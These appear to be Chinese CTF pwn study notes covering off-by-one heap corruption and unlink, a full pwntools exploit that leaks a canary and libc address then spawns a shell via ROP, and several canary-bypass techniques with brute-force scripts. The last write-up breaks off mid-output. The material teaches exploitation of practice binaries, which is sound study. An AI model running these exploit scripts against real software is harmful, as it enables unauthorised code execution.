0%

Ptmalloc算法:off-by-one

在堆溢出的基础上,只溢出1字节,这就是off-by-one

想了解这个漏洞必须先了解 chunk 的结构


数据结构chunk

什么是chunk?用户申请的内存空间就被称为chunk

在ptmalloc算法中,用户申请的内存空间以chunk为单位进行管理,它的结构入下图:

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

一共有6个部分,其中最后两个部分是 large chunk 特有的

  • prev_size:相邻的前一个堆块大小(该字段不计入当前堆块的大小计算,free状态时:数据为前一个chunk的大小,allocate状态时:用于前一个chunk写入数据)
  • size:本堆块的长度(长度计算方式:size字段长度+用户申请的长度+对齐,最后3位标志位)
  • fd&bk:双向指针,用于组成一个双向空闲链表
  • fd_nextsize:指向前一个与当前 chunk 大小不同的第一个空闲块
  • bk_nextsize:指向后一个与当前 chunk 大小不同的第一个空闲块

chunk有两种状态:allocate chunk 和 free chunk

allocate chunk:用户正在使用的chunk,fd&bk处用于存放数据

free chunk:程序中空闲的chunk,fd&bk分别为指向 “后一个free chunk”和“前一个free chunk”

也就是说,只有allocate chunk中会存放数据,而free chunk会以双向链表的形式存储起来

allocate chunk:

free chunk:

程序该怎样分辨chunk的状态?

在解释这一点之前,先要了解一下内存对齐

内存对齐是为了“程序执行效率”而诞生的一种机制,它可以优化CPU识别地址的效率

glibc的堆内存对齐机制:

32位:
最少分配16字节堆,8字节对齐,每次增加8
其中4字节为头部,申请1-12堆,分配16字节堆

64位:
最少分配32字节堆,16字节对齐,每次增加16
其中8字节为头部,申请1-24堆,分配32字节堆

不管是32位(8字节对齐),还是64位(16字节对齐),chunk的大小都是 8的倍数 ,也就是说,chunk -> size 的最后3位恒为“0”,ptmalloc算法干脆就把这3位当成了标志位,用于描述一些chunk的信息

P位:指示相邻的前一个堆块是alloc还是free

M位:是否属于主进程

N位:是否由 mmap() 分配

chunk分类

除了根据P位进行的分类:allocate chunk & free chunk

还有:top chunk & last remainder chunk

glibc提供给用户的chunk主要就分为这4类

  • top chunk:处于一个arena的最顶部(即最高内存地址处)的chunk
  • last remainder chunk:unsorted bin中的最后一个chunk

这里引入了“bin”的概念,不过我想在UAF中分析“bin”,这里就先提一下吧:

  • small chunk:小于512(1024)字节的chunk
  • large chunk:大于512(1024)字节的chunk

chunk合并

先说说off-by-one的效果

两个相邻的chunk中(“chunk1”和“chunk2”),对“chunk1”进行操作(通常要用到UAF)使其溢出一字节到“chunk2”中,而它就会覆盖“chunk2”的presize的最后一字节

看上去好像没什么作用,但它的威力的确很大

因为在free掉“chunk2”后会发生 chunk合并,一共有两种合成方式:

向前合并(将要被free的chunk作为素材,被后一个chunk合并)

chunk将要被free时,通过 inuse_bit_at_offset 检测 后一个 chunk是否为free,如果是的话,将要被free的chunk会把它自己size加上nextsize(后一个chunk的大小),然后让新的chunk进入 unlink流程

向后合并(将要被free的chunk作为素材,被前一个chunk合并)

chunk将要被free时,通过 自己的sizeP位 检测 前一个 chunk是否为free,如果是的话,它会把它自己的size加到前一块chunk的size中 ,然后让新的chunk进入 unlink流程

unlink

unlink是一个宏操作,用于将某一个空闲chunk 从其所处的双向链表中脱链

1
2
3
4
5
6
7
8
9
10
11
12
void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
{ //p是某个结构体“malloc_chunk”的地址,*p就是结构体本身(进行了降阶)
FD = P->fd; //FD就是指向下一个结构体的指针
BK = P->bk; //BK就是指向上一个结构体的指针
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action,"corrupted double-linked list",P);
else
{
FD->bk = BK; //FD->bk:下一个结构体中的last
BK->fd = FD;
}
}

unlink执行之前会先进行一个检查:

  • 当前这个chunkP的后一个chunk的fd == chunkP 是否成立
  • 当前这个chunkP的前一个chunk的bk == chunkP 是否成立

简单来说,它就是检查了:

  • chunkP的下一个chunk的上一个chunk是不是chunkP
  • chunkP的上一个chunk的下一个chunk是不是chunkP

解释unlink函数:

  • FD->bk = BK:让P结构体的下一个结构体中的 bk 变为 P本身的bk
  • BK->fd = FD:让P结构体的上一个结构体中的 fd 变为 P本身的fd

就相当于跳过了P这个结构体,把 FDBK 连接

off-by-one的利用姿势

off-by-one有多种利用方式:

  • 覆盖低字节数据(如果是地址,还可以改变其指向)
  • 覆盖“size的P位”为“\x00”,伪造上一个为“free chunk”(allocate chunk的“presize”是上一个allocate chunk的数据区,所以可以溢出一字节刚好到P位)

常见的造成off-by-one的原因:

  • strlen 和 strcpy 行为不一:strlen 计算字符串长度时是不把结束符 '\x00' 计算在内的,但是 strcpy 却会拷贝 ‘\x00’ ,导致了off-by-null
  • ( (&list + index) + read(0, *(&list + index) , size) ) = 0:在read写入的字节后加一个“\x00”,这种操作可以中断“打印模块”(许多打印函数会被“\x00”中断),但它也溢出了一个“\x00”出去

这里介绍一种特殊的利用姿势,可以实现WAA(又叫做Unlink攻击)

条件:可以利用UAF漏洞编辑free chunk

目的:溢出一字节,改变后一个chunk的presize, 导致其后向合并判断错误

那如果我们在“chunk1”中伪造一个“chunkF”,溢出一字节改变“chunk2”的presize,然后free掉chunk2执行后向合并,就会出现很奇妙的结果

​ // 注意:这些操作都是在free chunk中进行的,所以有“presize”

伪装的“chunkF”被“chunk2”当成了合并的目标,如果“chunkF”的“ fd&bk ”控制的好,就可以在通过unlink检查的同时实现WAA(write anything anywhere)

​ //这里先简单提一提,到了分析Unlink攻击的再详细分析

libc版本限制

“libc-2.29.so”及其之后的版本加入了一个chunk检查:

1
2
3
4
5
6
7
8
9
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
  • 需要 prechunk->size == chunk->presize

由于我们难以控制一个真实 chunk 的 size 字段,所以传统的 off-by-null 方法失效,但是,只需要满足被 unlink 的 chunk 和下一个 chunk 相连,所以仍然可以伪造 fake_chunk

最后还要绕过 unlink 的检查,如果我们没法 leak heap_base,就要通过以下的办法进行绕过:

  • 伪造的方式就是使用 large bin 遗留的 fd_nextsize 和 bk_nextsize 指针,以 fd_nextsize 为 fake_chunk 的 fd,bk_nextsize 为 fake_chunk 的 bk,这样我们可以完全控制该 fake_chunk 的 size 字段
  • 也可以使用 unsorted chunk 或者 large chunk 的 FD BK 指针,就是对堆风水的要求比较高
  • PS:伪造的方法在“Unlink攻击”中分析

pwndbg搜索技巧+one_gadget

这是某个CTF比赛上的题目

记得当时在打比赛时死活搞不出来“__libc_start_main”的偏移量(其实我都已经在GDB中看见了),看国外某大佬的WP后学到了不少关于“pwndbg搜索”的知识

通过这个题目我也纠正了不少概念上的误区,于是在此记录


1641000070341

循环输入

1641000121563

1641000135559

64位,dynamically,全开

1641000226315

代码分析

1641000431581

获取数据数到“buf”中

sub_ACA:

1641000694377

在s1中读入256字节(遇到“\n”就中断)

小循环:

1641000905974

如果前3个字节是”id “就把“v5”转换为整数并赋值给“v1”,否则就break

大循环:

1641001004738

如果前6字节是“create”就执行函数sub_BD1,否则就break

sub_BD1:

1641001295275

随机生成一段字符串

特大循环:

1641001361592

如果前4字节是“quit”则break结束程序

漏洞分析

1641003509946

1641001641478

这里就有数组越位和栈溢出

没有system,没有“/bin/sh”

1641379976647

“buf[v1]”并没有好好检查下标

入侵思路

首先考虑绕开PIE和Canary

那么这么泄露地址呢?

1641003528827

输出函数printf可以输出“s”的值,而“s”是用随机数拼凑出来的,而且有memset填充“0”,想控制printf根本不可能

但是有一种邪门的方式可以泄露canary:

1641379976647

“buf[v1]”并没有好好检查下标,也就是说,程序会把任何栈上的数据给放入“sub_BD1”进行加密,如果我们对加密后的数据进行分析,说不定就可以还原加密值

那么这里有两个问题需要解决:

1.canary相对于“buf[0]”的偏移

2.获取对应偏移的对应值

第一个问题需要在pwndbg中看:

在函数“sub_BD1”调用时,RAX中的值就是“buf[0]”(在ID那里输入的“0”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0xf593
RBX 0x555555400e10 ◂— push r15
RCX 0xffffffc0
RDX 0x6
*RDI 0xf593
RSI 0x555555400f09 ◂— movsxd rsi, dword ptr [rdx + 0x65] /* 'create' */
R8 0x2
R9 0x2
R10 0x555555400f02 ◂— and byte ptr ds:[rax], al /* '> ' */
R11 0x6
R12 0x5555554009c0 ◂— xor ebp, ebp
R13 0x7fffffffddf0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdce0 —▸ 0x7fffffffdd00 ◂— 0x0
RSP 0x7fffffffdc60 ◂— 0xd68 /* 'h\r' */
*RIP 0x555555400d80 ◂— call 0x555555400bd1

发现其值为 “0xf593” ,用pwngdb查找这个字符串:

1
2
3
4
5
6
7
8
9
10
pwndbg> search -t word 0xf593
libc-2.31.so 0x7ffff7f78381 0x81fff59381fff593
libc-2.31.so 0x7ffff7f78385 0x5fff59381fff593
libc-2.31.so 0x7ffff7f78389 0x9ffff59105fff593
libc-2.31.so 0x7ffff7f78395 0x81fff59381fff593
libc-2.31.so 0x7ffff7f78399 0xf3fff59381fff593
libc-2.31.so 0x7ffff7f7839d 0xfff58ff3fff593
libc-2.31.so 0x7ffff7f87fe9 0xd400019d60fff593
[stack] 0x7fffffffdbfc 0xf593
[stack] 0x7fffffffdc76 0x86a89b009b7df593

接着找寻canary的值:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> canary
AT_RANDOM = 0x7fffffffe149 # points to (not masked) global canary value
Canary = 0x959c7d572835fc00 (may be incorrect on != glibc)
Found valid canaries on the stacks:
00:00000x7fffffffd558 ◂— 0x959c7d572835fc00
00:00000x7fffffffd5c8 ◂— 0x959c7d572835fc00
00:00000x7fffffffdac8 ◂— 0x959c7d572835fc00
00:00000x7fffffffdb28 ◂— 0x959c7d572835fc00
00:00000x7fffffffdb38 ◂— 0x959c7d572835fc00
00:00000x7fffffffdb98 ◂— 0x959c7d572835fc00
00:00000x7fffffffdc48 ◂— 0x959c7d572835fc00
00:00000x7fffffffdcd8 ◂— 0x959c7d572835fc00

查找“0x959c7d572835fc00”(canary)的地址:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> search -t qword 0x959c7d572835fc00
[anon_7ffff7fb1] 0x7ffff7fb6568 0x959c7d572835fc00
[stack] 0x7fffffffb3e8 0x959c7d572835fc00
[stack] 0x7fffffffb458 0x959c7d572835fc00
[stack] 0x7fffffffd558 0x959c7d572835fc00
[stack] 0x7fffffffd5c8 0x959c7d572835fc00
[stack] 0x7fffffffdac8 0x959c7d572835fc00
[stack] 0x7fffffffdb28 0x959c7d572835fc00
[stack] 0x7fffffffdb38 0x959c7d572835fc00
[stack] 0x7fffffffdb98 0x959c7d572835fc00
[stack] 0x7fffffffdc48 0x959c7d572835fc00
[stack] 0x7fffffffdcd8 0x959c7d572835fc00

现在我们找到了canary中出现的随机数的地址,还有“buf[0]”中随机数的地址

按道理来说,两者相减就可以得到canary随机数相对于“buf[0]”的偏移了,但是我们却搜索到了多组数据,这是因为这些数据可能在随机数表中多次出现

只有一次一次尝试,把离谱的排除了之后就得到偏移了(相当看脸)

1
2
0x7fffffffdcd8 - 0x7fffffffdc76 = 98
98 / 2 = 49 #数组buf的类型为‘int16’

第二个问题有一点麻烦:(先看一段代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
hashes = {}
stack_canary_offset = 49
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

def leak(offset):
p.recvuntil(b'> ')
p.sendline(b'id ' + str(offset).encode())
p.recvuntil(b'> ')
p.sendline(b'create')
p.recvuntil(b'Your key: ')
key = p.recvline().strip().decode()
value = hashes[key]
log.info('Offset {}: {} ({})'.format(offset, key, hex(value)))
return value

def precompute():
global hashes
for i in range(0xffff+1): #循环少了匹配的几率小,循环多了匹配的时间长
libc.srand(i)
val = ''
for j in range(32):
val += charset[libc.rand() % len(charset)]
hashes[val] = i
log.info("Computed {} hashes.".format(len(hashes)))

precompute()
canary = 0

for i in range(4):
canary+=(leak(stack_canary_offset + i))<<(16*i)
print("canary >> "+hex(canary))

函数leak中的offset其实就是canary在随机数表中的偏移,对应偏移中存放的数据就是canary片段的值,这里我们可以用一个很骚的方式获取这个值

我们直接把canary的偏移输入给程序,程序就会读取canary的值,并且用这个值来生成“32位”字符串,我们这里用循环“从 0 到 0xffff+1” 依次生成“32位”字符串,然后把“程序生成的”和“我们生成的”进行对比,如果可以匹配就证明canary的值就是对应的下标

​ // 当然也有小概率会重复,多试几次就好了

解决了canary就要考虑怎么获取shell的问题:

首先程序开了PIE的,ROP基本上废了,需要泄露“__libc_start_main”

我们可以用泄露canary的方式来泄露“__libc_start_main”(就是有一点麻烦)

先在pwndbg中看”buf[0]”的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0x9bf0
RBX 0x555555400e10 ◂— push r15
RCX 0xffffffc0
RDX 0x6
*RDI 0x9bf0
RSI 0x555555400f09 ◂— movsxd rsi, dword ptr [rdx + 0x65] /* 'create' */
R8 0x2
R9 0x2
R10 0x555555400f02 ◂— and byte ptr ds:[rax], al /* '> ' */
R11 0x6
R12 0x5555554009c0 ◂— xor ebp, ebp
R13 0x7fffffffde00 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdcf0 —▸ 0x7fffffffdd10 ◂— 0x0
RSP 0x7fffffffdc70 ◂— 0xd68 /* 'h\r' */
*RIP 0x555555400d80 ◂— call 0x555555400bd1

搜索一下:

1
2
3
pwndbg> search -t word 0x9bf0
libc-2.31.so 0x7ffff7fa54e0 0xf5fff69bf0
[stack] 0x7fffffffdc86 0x9260245d5a0d9bf0

然后不知道从哪里掏出来“main”的返回地址

1
2
3
► f 0   0x555555400d80
f 1 0x555555400dfe
f 2 0x7ffff7dea0b3 __libc_start_main+243

搜索一下这个地址,就得到了存放“返回地址”的地址

1
2
pwndbg> search -t qword 0x7ffff7dea0b3
[stack] 0x7fffffffdd18 0x7ffff7dea0b3

两者相减计算偏移:

1
2
0x7fffffffdd18 - 0x7fffffffdc86 = 146
146 / 2 = 73

放入刚刚的模块中“__libc_start_main”的地址就有了

1
2
3
4
__libc_start_main = 0
for i in range(4):
__libc_start_main+=(leak(stack_libc_start_main_offset + i))<<(16*i)
print("__libc_start_main >> "+hex(__libc_start_main))

最后可以用“one_gadget”来打

1
2
3
4
5
6
7
8
9
10
11
12
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *   
import ctypes

p=process('./newbie')
elf=ELF('./newbie')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
#context.log_level = 'debug'
hashes = {}
stack_canary_offset = 49
stack_libc_start_main_offset = 73
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

def leak(offset):
p.recvuntil(b'> ')
p.sendline(b'id ' + str(offset).encode())
p.recvuntil(b'> ')
p.sendline(b'create')
p.recvuntil(b'Your key: ')
key = p.recvline().strip().decode()
value = hashes[key]
# Correct for the 1 and 0 collision.
if value == 1:
value = 0
log.info('Offset {}: {} ({})'.format(offset, key, hex(value)))
return value

def precompute():
libc = ctypes.cdll.LoadLibrary("libc.so.6")
global hashes
for i in range(0xffff+1):
libc.srand(i)
val = ''
for j in range(32):
val += charset[libc.rand() % len(charset)]
hashes[val] = i
log.info("Computed {} hashes.".format(len(hashes)))

precompute()

canary = 0
for i in range(4):
canary+=(leak(stack_canary_offset + i))<<(16*i)
print("canary >> "+hex(canary))

__libc_start_main = 0
for i in range(4):
__libc_start_main+=(leak(stack_libc_start_main_offset + i))<<(16*i)
print("__libc_start_main >> "+hex(__libc_start_main-243))

libc_start_main_offset = libc.libc_start_main_return
libc_base=__libc_start_main-libc_start_main_offset
print("libc_base >> "+hex(libc_base))

poprdi_ret=libc_base+0x0000000000026b72
poprsi_ret=libc_base+0x0000000000027529
poprdx_poprbx_ret=libc_base+0x0000000000162866
binsh_libc=libc_base+0x00000000001b75aa
execve_libc=libc_base+libc.sym['execve']
print('execve >> ' +hex(execve_libc))

p.recvuntil('> ')
payload=b'a'*(0x60-8)+p64(canary)+b'b'*8
payload+=p64(poprdi_ret)+p64(binsh_libc)
payload+=p64(poprsi_ret)+p64(0)
payload+=p64(poprdx_poprbx_ret)+p64(0)+p64(0)
payload+=p64(execve_libc)
print(len(payload))
p.sendline(payload)
p.recvuntil('> ')
p.sendline('quit')

p.interactive()

参考: pwn题查找字符串方法记录


PS:

我这个libc版本打不了“one_gadget”,只能自己凑了

还有一个问题:用system打不通,但execve一下子就通了

canary的各种绕过技巧

前几天又被canary给恶心了,以前一直用格式化字符串漏洞和一些输出函数来泄露canary,这一回啥也没有,给我搞麻了

回头想来,我好像就只会这两种canary的泄露方法,于是我打算学一学获取canary的技巧


canary原理

1
2
v4 = __readfsqword(0x28u);
return __readfsqword(0x28u) ^ v4;

有时候我们会在IDA中看见这两个东西,这就是canary的生成代码

在函数开始,fs:0x28 的值被存储在 ebp - 0xc,在函数返回之前对 ebp - 0xc处的值进行检查,如果和 fs:0x28 不一样,说明发生了溢出,紧接着执行__stack_chk_fail_local 并退出进程

1
2
3
.text:00000000004007F3                 mov     rax, fs:28h
.text:00000000004007FC mov [rsp+128h+var_20], rax
.text:0000000000400804 xor eax, eax
1
2
3
4
5
6
.text:0000000000400882                 mov     rax, [rsp+128h+var_20]
.text:000000000040088A xor rax, fs:28h
.text:0000000000400893 jnz short loc_4008A9
--------------------------------------------------------------------------
.text:00000000004008A9 loc_4008A9:
.text:00000000004008A9 call ___stack_chk_fail

​ //这个图的上面是高地址,下面是低地址

那么,fs:0x28 中的值是怎么生成的呢?

事实上,TLS 中的值由函数 security_init 进行初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数

//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);

// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);

_dl_random = NULL;
}

//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

在gcc中使用canary:

1
2
3
4
5
-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

格式化字符串漏洞

这个可以说是经典了,找一找偏移用“%p”一下子就搞出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
10000| 0x7fffffffdf20 ("aaaaaaaa\n")      #printf第一个参数的地址
10008| 0x7fffffffdf28 --> 0xa ('\n')
10016| 0x7fffffffdf30 --> 0x0
10024| 0x7fffffffdf38 --> 0x0
10032| 0x7fffffffdf40 --> 0x0
10040| 0x7fffffffdf48 --> 0x0
10048| 0x7fffffffdf50 --> 0x0
10056| 0x7fffffffdf58 --> 0x0
10064| 0x7fffffffdf60 --> 0x0
10072| 0x7fffffffdf68 --> 0x0
10080| 0x7fffffffdf70 --> 0x0
10088| 0x7fffffffdf78 --> 0x0
10096| 0x7fffffffdf80 --> 0x0
10104| 0x7fffffffdf88 --> 0x0
10112| 0x7fffffffdf90 --> 0x0
10120| 0x7fffffffdf98 --> 0x0
10128| 0x7fffffffdfa0 --> 0x400a50 (push r15)
10136| 0x7fffffffdfa8 --> 0x7ce1a471e5f87d00 #金丝雀巢穴
10144| 0x7fffffffdfb0 --> 0x7fffffffdff0 --> 0x0 #上一个函数的ebp
10152| 0x7fffffffdfb8 --> 0x4008b8 (jmp 0x4008d8) #返回地址
10160| 0x7fffffffdfc0 --> 0x7ffff7fb2fc8 --> 0x0

可以计算出偏移为“17”

1
2
3
4
formats("%23$p")     #这是64位系统 17+6=23
p.recvuntil('0x') #用prinft打印的canary以‘0x’开头
canary = eval(b'0x'+p.recv(16)) #canary有8个字节
print(hex(canary))

​ //通常把gdb和终端结合起来看效果更好

输出函数

canary设计为以字节“\x00”结尾,而输出函数会被“\x00”中断,如果把“\x00”给覆盖了就可以利用输出函数来泄露canary

1
2
3
4
5
6
7
8
9
10
10000| 0x7fffffffdf20 ("aaaaaaaa")      #printf第一个参数的地址
10008| 0x7fffffffdf20 ("aaaaaaaa")
10018| 0x7fffffffdf20 ("aaaaaaaa")
10020| 0x7fffffffdf20 ("aaaaaaaa")
10028| 0x7fffffffdf20 ("aaaaaaaa")
10030| 0x7fffffffdf20 ("aaaaaaaa")
10038| 0x7fffffffdfa8 --> 0x7ce1a471e5f87d+'\n' #金丝雀巢穴
10040| 0x7fffffffdfb0 --> 0x7fffffffdff0 --> 0x0 #上一个函数的ebp
10048| 0x7fffffffdfb8 --> 0x4008b8 (jmp 0x4008d8) #返回地址
10050| 0x7fffffffdfc0 --> 0x7ffff7fb2fc8 --> 0x0

这样canary结尾的“\x00”就被替换为了“\n”,后续的read函数就可以成功泄露canary

利用stack_chk_fail的报错信息

前面两个都是常规的,这个就不一样了

1
2
*** stack smashing detected ***: terminated
[1] 3005 abort (core dumped) ./newbie

当canary被覆盖时,程序会进行上述报错

打印这些字符串的函数是“stack_chk_fail.c”:

1
2
3
4
5
6
7
8
9
10
11
12
"debug/fortify_fail.c"
void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg;
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

可以发现canary触发时会打印 “libc_argv[0]”,如果栈溢出覆盖了 “libc_argv[0]”,那么程序就会打印覆盖的内容

​ // libc_argv[0]装有指向程序地址的指针

这种操作只能泄露指针的内容,并且需要目标指针的地址来覆盖 “libc_argv[0]” ,所以“libc_argv[0]” 相当于输入值的偏移也需要掌握

​ // 如果存在“fork”,还可以利用这种方式来打印“libc_base”

stack_chk_fail劫持

canary报错时会调用 _stack_chk_fail ,那么劫持 _stack_chk_fail 当然也是一种攻击手段

这个一般通过GOT表劫持该函数,所以不能开启 Full RELRO 保护

像printf格式化漏洞WAA,或者堆溢出WAA,都可以改写GOT表内容,甚至配合UAF和数组越位也可以改写GOT表(如果合适的话)

one-by-one爆破

一般来说,爆破canary是很蠢的事情,因为每次运行程序canary都会改变

但是存在一类通过fork函数开启子进程交互的题目,fork函数会直接拷贝父进程的内存,因此每次创建的子进程的canary是相同的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void getflag(void) {
char flag[100];
FILE *fp = fopen("./flag", "r");
if (fp == NULL) {
puts("get flag error");
exit(0);
}
fgets(flag, 100, fp);
puts(flag);
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void fun(void) {
char buffer[100];
read(STDIN_FILENO, buffer, 120);
}
int main(void) {
init();
pid_t pid;
while(1) {
pid = fork(); //fork开启子进程
if(pid < 0) {
puts("fork error");
exit(0);
}
else if(pid == 0) {
puts("welcome");
fun();
puts("recv sucess");
}
else {
wait(0);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = 'debug'

cn = process('./bin')
padding = 'a'*100

cn.recvuntil('welcome\n')
canary = '\x00'
for j in range(3):
for i in range(0x100):
cn.send( padding + canary + chr(i))
a = cn.recvuntil('welcome\n')
if 'recv' in a:
canary += chr(i)
break

cn.sendline('a'*100 + canary + 'a'*12 + p32(0x0804864d))

flag = cn.recv()
cn.close()
log.success('flag is:' + flag)
#32位为‘3’,64位为‘7’

这个模板可以说是经典了,遇到此类题目后改一改就好了

覆盖TLS中储存的canary值

canary的值存储在fs:[0x28]中

fs寄存器是由glibc定义的,存放Thread Local Storage (TLS)信息

该结构体如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; /* canary,0x28偏移 */
uintptr_t pointer_guard;
……
} tcbhead_t;

这个 stack_guard 是在 libc_start_main 中进行设置和赋值的

一般来说,我们不知道TLS的位置,需要爆破脚本来找出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
offset=1
while True:
p = process('./xxxx')
p.recvuntil("xxxx")
payload = ''
payload += (padding-8) #padding
payload += 'aaaaaaaa' #fake canary
payload += p64(0xdeadbeef) #rbp
payload += p64(0) #返回地址
payload += 'a'*(offset-len(payload))
p.send(payload)
temp = p.recvall()
if "xxxx" in temp:
print(offset)
p.close()
break
else:
offset += 1
p.close()

""""
原本程序覆盖了canary是一定会报错的,但是payload后续填入的“a”可能会覆盖TLS,使程序通过canary
只要程序通过了canary,‘p.recvall()’就会不接受到报错信息(stack_chk_fail)
这之后我们就可以通过打印出的offset来计算偏移了
""""

当然也可以不找偏移,直接一次性填入非常长的“a”也是可以覆盖的

覆盖TLS的方法只能在有“pthread_create”的题中可以用用,不然程序就很可能会覆盖关键数据,然后直接挂掉

今天遇到一个题目,有canary并且在循环中用fork生成子进程,当时想都没有想就开始canary爆破,仔细分析代码后才发现出题人的阴险,先用fork引诱我进行canary爆破,等我把爆破脚本写好了再搞我一手,我现在真的怀疑这人是学社工的

通过学习其他大佬的WP,我了解到了一种新的接受数据的方式

这种方式在程序使用“printf”进行输出的时候还挺好用的


canary爆破未遂+数据接收技巧

1641288175862

循环输入

1641287256715

1641287265290

32位,dynamically,开了NX,开了canary

1641288063874

1641288075846

1641288084647

代码分析

getchar接受到“Y”后程序继续执行,然后getchar接收“Y”之后的字符(防止溢出)

fork函数执行以后,程序就把它自己复制了一遍,并且优先执行新进程

1
2
3
1)在父进程中,fork返回新创建子进程的进程ID
2)在子进程中,fork返回0
3)如果出现错误,fork返回一个负值

也就是说,返回“0”的子进程会进入函数“sub_8048B29”,而父进程不会

父进程会进行循环,源源不断地产生子进程

参考:fork()函数详解

1641289340337

子进程会触发函数“read”,输入“0x200”字节到“malloc”分配的空间“buf”

1641289574670

for循环会一直增加“i”的值,直到条件成立,然后“buf[i]”会被赋值为“0”

并且“i”必须为“4”的倍数(包括“0”)

1
2
3
for i in range(100):
data = i & 3
print(data)

把“buf”赋值给“dest”后返回“1”,后面就是一个算法,通过一系列的位移操作使四个变成三个字符

​ // 其实就是base64加密

入侵思路

1641290228902

1641291871253

“buf”和“dest”都在堆中,那么溢出点在那里呢?

1641292428016

1641292662924

程序把“dest”进行加密,赋值给“v21”了

“dest”可以装“0x200”字节,而“v21”只能装“258”字节,计算得溢出了

1
0x200 * 3 / 4 = 384 > 269 #在IDA上看的偏移  

接下来就是考虑泄露Canary

一般程序涉及到“进程”和“线程”的时候,就会出现两种对应的canary绕过手段,前者为“canary爆破”,后者为“覆盖TLS”,这里使用前者

因为函数“fork”产生的字进程完全克隆父进程,canary也一样,所以这里可以采用canary爆破的方式,一字节一字节爆破canary

1
2
3
4
5
6
7
for j in range(3): #32位为‘3’,64位为‘7’
for i in range(0x100):
p.send( padding + canary + chr(i)) #从0~0xFF,依次注入
a = p.recvuntil('xxxx')
if 'xxxx' in a:
canary += chr(i)
break

重点就是这个“xxxx”写什么,程序的输出就只有这3种情况:

1.子进程正常结束:

1
2
3
4
5
6
7
8
9
May be I can know if you give me some data[Y/N]
Y
Give me some datas:

1233
Result is:�m�
Finish!

May be I can know if you give me some data[Y/N]

2.子进程触发canary:

1
2
3
4
5
6
7
8
9
May be I can know if you give me some data[Y/N]
Y
Give me some datas:

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
